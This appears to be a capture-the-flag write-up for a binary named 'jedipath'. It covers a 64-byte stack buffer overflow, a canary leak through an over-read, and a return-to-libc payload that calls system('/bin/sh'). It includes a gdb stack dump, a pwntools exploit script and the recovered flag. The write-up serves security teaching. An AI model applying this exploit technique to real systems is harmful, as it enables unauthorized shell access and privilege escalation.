Return-to-libc 2
The executable
jedipath
in the
/challenges/jedipath/jedipath
directory asks you to guess the Jedis thoughts (with 3 attempts) and if guessed correctly, returns the SHA256 encrypted
flag
file located in
/challenges/jedipath/flag
.
We want the
flag
file but the executables output is useless and only the
jedipath
executable has reading premission for that file.
After inspecting the (incomplete) source code we figure out that:
Our
guess
allocates
64 bytes
but the scanner has no boundary (just adds a '\n' at the end)
We can not overwrite all following variables, since there is a canary
(gdb) r < <(python3 -c 'print("A"*64)')
x/40wx $esp0xffffd510: 0xf7fc1d80 0x00000001 0x1339f476 0xffffd53c
0xffffd520: 0x00000001 0xf7dedbd8 0xf7fcf410 0x00000000
0xffffd530: 0x00000001 0x00000040 0x1339f476 0x41414141
0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd570: 0x41414141 0x41414141 0x41414141 0x[CANARY]0a - where x\0a = '\n'
0xffffd580: 0x00000476 0x0804a000 0xffffd5a8 0x080489bf
0xffffd590: 0x00000001 0xffffd654 0xffffd65c 0x00000476
0xffffd5a0: 0xffffd5c0 0x00000000 0x00000000 0xf7e01f21
We sketched out what we assume the stack must look like aber looking at the memory:
| ... | <- esp
|guess_len |
|attempt |
|correct_guesses|
|guessed_number |
|secret_number |
|guess | <- buffer, 64 byte
|canary | <- 4 bytes (from which 3 are generated and 1 is always '\n')
| ... | <- 12 bytes (padding)
|return address |
| ... |
Overwriting local variables with stack overflow is therefore generally not possible.
But a buffer-over-read is possible that enables us to read the canaries content, with a payload with exactly 64 chars, so that the executable also returns the canary (does not change after first attempt).
After getting the canary's value we can overwrite it without the system noticing and reach the return address.
This makes this program vulnerable to Return-to-libc attacks.
Exploitation
After the 3 generated bytes of the canary, followed a 12 byte sized padding there is the return address
0x080489bf
.
Our goal was to use 2 out of 3 possible attempts to gain access to the shell with the rights of the
jedipath
executable by changing the return address:
- Attempt → payload with 64 chars to read canary
-
Attempt → concatenate buffer with canary + padding to overwrite the
return address
to&system
and previous parameters to the pointer that points to"/bin/sh"
so that we callsystem(" /bin/sh")
(to have a nested process within this process)The address of
system
:0xf7e262e0
The used script:
...#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)io = start() #this is our process#ATTEMPT 1
input = 'A'*64 #to get the canary as the output
print(io.recvuntil(b"[1]"))
io.sendline(input)
print(io.readline())
canary = io.recvuntil(b'[2]')[:3] #get first 3 bytes as chars
print(bcolors.WARNING + "FOUND CANARY: " + canary + bcolors.ENDC)#ATTEMPT 2
p1 = p32(0x00000476)
p2 = p32(0x0804a000)
p3 = p32(0xffffd598)
padding = p1 + p2 + p3 #12 bytes
systemAddress = p32(0xf7e262e0)
fakeRet = p32(0xdeadbeef) #does not matter
binsh = p32(0xf7f670af)
payload = input + b"\x00" + canary + padding + systemAddress + fakeRet + binsh
io.sendline(payload)io.interactive()
We then got access to the shell with the privileges of the
jedipath
executable and just used the linux shell cat command to read the flag:
WUT{Much_t0_l34rn_y0u_st1ll_h4v3!}